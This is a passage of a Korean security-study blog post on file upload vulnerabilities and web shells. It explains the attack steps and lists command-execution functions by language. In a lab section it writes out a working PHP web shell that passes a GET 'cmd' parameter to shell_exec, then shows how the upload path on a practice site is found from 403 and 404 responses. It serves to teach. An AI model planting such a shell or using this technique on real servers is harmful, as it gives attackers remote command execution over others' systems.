&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;웹 서버에 대해 제어권을 얻는다 = 시스템 명령어 실행이 가능하다 = 서버 내 중요정보 열람, 수정, 삭제 가능&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;해당 공격을 통해 웹 서버가 랜섬웨어 공격의 유포지로 활용될 수 있으며, 서버 내 중요파일이 랜섬웨어에 감염될수도 있다. 데이터베이스로 침투, 내부망에 침투하여 기밀 정보를 열람, 직원 PC를 감염시키는 등의 다양한 추가 공격이 가능하다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;공격자는 이러한 공격을 통해 기업으로부터 돈을 뜯어낸다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;시스템 명령어 실행을 통해서 단순히 해당 공격에서 끝나는 것이 아닌 2차, 3차 피해가 추가로 발생할 가능성이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2) 공격 원리 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1419&quot; data-origin-height=&quot;767&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b413P7/btsMflwoUV7/GKWvQ7Vpz4dgL66CHQFCTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b413P7/btsMflwoUV7/GKWvQ7Vpz4dgL66CHQFCTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b413P7/btsMflwoUV7/GKWvQ7Vpz4dgL66CHQFCTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb413P7%2FbtsMflwoUV7%2FGKWvQ7Vpz4dgL66CHQFCTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1419&quot; height=&quot;767&quot; data-origin-width=&quot;1419&quot; data-origin-height=&quot;767&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1) 파일 업로드 기능을 대상으로 공격 &lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 파일 업로드 기능에 정상 파일이 아닌, 악성 스크립트(서버 사이드 스크립트)가 담긴 웹쉘을 업로드를 시도.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 파일 업로드가 진행될때 서버 측에서는 먼저 파일명을 받음.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8TL2e/btsMfPRq9Ft/aiKFFnnM5MUVCaMEwPtfCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8TL2e/btsMfPRq9Ft/aiKFFnnM5MUVCaMEwPtfCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8TL2e/btsMfPRq9Ft/aiKFFnnM5MUVCaMEwPtfCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8TL2e%2FbtsMfPRq9Ft%2FaiKFFnnM5MUVCaMEwPtfCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1424&quot; height=&quot;768&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2) 기존 경로 + 업로드된 파일명 조합&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 업로드한 파일명을 그대로 사용하는 경우도 있고, 서버 측에서 파일명을 생성해서 만드는 경우도 있다. ( &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;파일 업로드 기능마다 다름&lt;span&gt;&amp;nbsp;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1425&quot; data-origin-height=&quot;766&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q1REW/btsMfMUInzA/oI3RxoI0zKRvkngVl7rK2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q1REW/btsMfMUInzA/oI3RxoI0zKRvkngVl7rK2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q1REW/btsMfMUInzA/oI3RxoI0zKRvkngVl7rK2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq1REW%2FbtsMfMUInzA%2FoI3RxoI0zKRvkngVl7rK2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1425&quot; height=&quot;766&quot; data-origin-width=&quot;1425&quot; data-origin-height=&quot;766&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3) 파일 출력&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 서버에 파일을 업로드(파일 쓰기)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 지정된 경로로 파일이 업로드 됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1227&quot; data-origin-height=&quot;751&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/daSpAg/btsMe3XdOrE/wjpK5gWeyToRIjzALXpiHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/daSpAg/btsMe3XdOrE/wjpK5gWeyToRIjzALXpiHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/daSpAg/btsMe3XdOrE/wjpK5gWeyToRIjzALXpiHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdaSpAg%2FbtsMe3XdOrE%2FwjpK5gWeyToRIjzALXpiHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1227&quot; height=&quot;751&quot; data-origin-width=&quot;1227&quot; data-origin-height=&quot;751&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4) 웹쉘 접근 및 실행&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자는 파일이 업로드된 경로로 접근 (경로에 대한 URL 필요)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹쉘은 서버 사이드 스크립트로 작성되어야 하며, 웹 디렉터리에 업로드 되어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파일 업로드 경로 찾기 및 웹 디렉터리 파악이 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 오늘날에는 대부분 웹 디렉터리에 업로드를 하지 못하게 한다, 업로드 시 기존의 경로를 변조하여 업로드를 시도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 다운로드와 연계성 있는 취약점으로, 파일 다운로드를 통해서 웹 디렉터리 경로 획득 및 경로 변조가 가능하다면 웹 디렉터리에 파일 업로드를 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3) 웹쉘이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1315&quot; data-origin-height=&quot;222&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dld5LW/btsMeu102Ja/RjmtSHsfPTxRhkRtEpXaU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dld5LW/btsMeu102Ja/RjmtSHsfPTxRhkRtEpXaU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dld5LW/btsMeu102Ja/RjmtSHsfPTxRhkRtEpXaU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdld5LW%2FbtsMeu102Ja%2FRjmtSHsfPTxRhkRtEpXaU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1315&quot; height=&quot;222&quot; data-origin-width=&quot;1315&quot; data-origin-height=&quot;222&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Shell = 사용자가 명령을 입력하면 번역하여 커널이 이해할 수 있도록 해석 (Cmd.exe, bash shell)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WebShell = 웹 페이지에서 원격 서버의 시스템 명령어를 실행, 서버 사이드 스크립트로 작성됨&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 명령어를 실행하는 함수를 삭제하면 해결되나?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 개발자들의 편의, 기능적으로 구현하기 위해서 설계가 되어 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 서버 사이드 스크립트로 어느정도 기능 구현이 가능하지만, 시스템 명령어를 실행하는데 제약이 존재&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 위와 같은 부분(시스템 명령어 실행 가능한 환경)을 악용하기 위해 웹쉘을 제작&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;각종 언어별 시스템 함수&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.5814%; text-align: center;&quot;&gt;&lt;b&gt;언어&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 79.4186%; text-align: center;&quot;&gt;&lt;b&gt;시스템 함수&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.5814%; text-align: center;&quot;&gt;PHP&lt;/td&gt;
&lt;td style=&quot;width: 79.4186%;&quot;&gt;passthru, system, `(백 쿼터), execl, popen, escapeshellcmd, eval, shell_exec, assert ...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.5814%; text-align: center;&quot;&gt;JSP&lt;/td&gt;
&lt;td style=&quot;width: 79.4186%;&quot;&gt;Runtime.getRuntime().exec(&quot;&quot;), processBuilder(&quot;&quot;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.5814%; text-align: center;&quot;&gt;ASP&lt;/td&gt;
&lt;td style=&quot;width: 79.4186%;&quot;&gt;CreateObject(&quot;wscript.shell&quot;).exec(&quot;cmd /c&quot; &amp;amp; cmd), eval, Execute ...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.5814%; text-align: center;&quot;&gt;ASPX&lt;/td&gt;
&lt;td style=&quot;width: 79.4186%;&quot;&gt;WinExec(), ShellExecute() ...&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;각종 웹쉘 별 시스템 함수 사용 예시&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1340&quot; data-origin-height=&quot;603&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QDCv4/btsMenaSxoL/8QrUuQpzkjvA60LXR8hEa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QDCv4/btsMenaSxoL/8QrUuQpzkjvA60LXR8hEa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QDCv4/btsMenaSxoL/8QrUuQpzkjvA60LXR8hEa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQDCv4%2FbtsMenaSxoL%2F8QrUuQpzkjvA60LXR8hEa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1340&quot; height=&quot;603&quot; data-origin-width=&quot;1340&quot; data-origin-height=&quot;603&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;웹쉘 종류&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;371&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Vx0Ld/btsMfHMJ6ST/F7yF3ZCV7Ak9xKls0IfKz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Vx0Ld/btsMfHMJ6ST/F7yF3ZCV7Ak9xKls0IfKz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Vx0Ld/btsMfHMJ6ST/F7yF3ZCV7Ak9xKls0IfKz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVx0Ld%2FbtsMfHMJ6ST%2FF7yF3ZCV7Ak9xKls0IfKz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1424&quot; height=&quot;371&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;371&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;웹쉘의 기본적인 기능 &amp;rarr; 시스템 명령어 실행&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 예시의 웹쉘들은 시스템 명령어 뿐만 아니라, 파일 브라우저(파일 볼 수 있는) 기능, 파일 생성/수정/삭제, 디렉터리/생성/수정/삭제, 파일 업로드/다운로드 등의 기능이 존재한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습8-1 간단한 웹쉘 제작 및 파일 업로드 취약점 공격 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹쉘을 제작하기 위해서 특정 디렉터리에 웹쉘 파일을 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위치: D:\webshell\webshell.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;system 함수: 인자에 들어오는 시스템 명령어를 통해서 출력시키는 함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;system 함수는 출력되는 결과값에 대한 핸들링은 할 수 없기때문에 다른 방식을 사용하여 코드를 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; webshell.php &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1739466533231&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    $cmd = $_GET[&quot;cmd&quot;];

    if(!empty($cmd)) {
        $result = shell_exec($cmd);
    }
?&amp;gt;

&amp;lt;form action=&quot;webshell.php&quot; action=&quot;GET&quot;&amp;gt;
&amp;lt;input type=&quot;text&quot; name=&quot;cmd&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot; value=&quot;EXECUTE&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;hr&amp;gt;
&amp;lt;?=$result?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비어있지 않는 경우에 shell_exec 함수를 사용하여 결과를 리턴 받아 result 변수에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹쉘 생성 후, insecure_website 에서 웹쉘 업로드를 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Igm3z/btsMif39hDf/ql7FNOgSlAftGIdhIKW5Bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Igm3z/btsMif39hDf/ql7FNOgSlAftGIdhIKW5Bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Igm3z/btsMif39hDf/ql7FNOgSlAftGIdhIKW5Bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIgm3z%2FbtsMif39hDf%2Fql7FNOgSlAftGIdhIKW5Bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;659&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹쉘 업로드 후 경로를 찾아야하는데, 경로를 찾는 방법에는 여러 방법이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소규모 웹사이트에는 보통 업로드 경로가 1개만 존재하고, 세분화되지 않은 경우가 많다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 에 추측되는 경로를 입력 후 서버의 응답을 보고 추측할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 에 uplaod 를 입력해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;617&quot; data-origin-height=&quot;273&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ErCLB/btsMheE6UVy/b38cab0iOrSJCUvnyoYYA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ErCLB/btsMheE6UVy/b38cab0iOrSJCUvnyoYYA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ErCLB/btsMheE6UVy/b38cab0iOrSJCUvnyoYYA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FErCLB%2FbtsMheE6UVy%2Fb38cab0iOrSJCUvnyoYYA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;617&quot; height=&quot;273&quot; data-origin-width=&quot;617&quot; data-origin-height=&quot;273&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 Forbidden 이라는 창과 403 상태코드가 확인되는데, 이 경우에는 해당 디렉터리는 존재하나 권한이 없어 접근 할 수 없다는 의미로 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 디렉터리가 없는 경우에는 이렇게 404 에러코드가 발생한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;287&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caq0oC/btsMiufLoia/nSAKH53n7MBs74bNfUxgA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caq0oC/btsMiufLoia/nSAKH53n7MBs74bNfUxgA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caq0oC/btsMiufLoia/nSAKH53n7MBs74bNfUxgA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcaq0oC%2FbtsMiufLoia%2FnSAKH53n7MBs74bNfUxgA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;287&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;287&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;webshell.php 를 입력하니 아래와 같이 접속이 되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;173&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biETO1/btsMi0rS0P3/Vbc1Wa7NgsqPj1n7Llk910/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biETO1/btsMi0rS0P3/Vbc1Wa7NgsqPj1n7Llk910/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biETO1/btsMi0rS0P3/Vbc1Wa7NgsqPj1n7Llk910/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiETO1%2FbtsMi0rS0P3%2FVbc1Wa7NgsqPj1n7Llk910%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;173&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;173&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
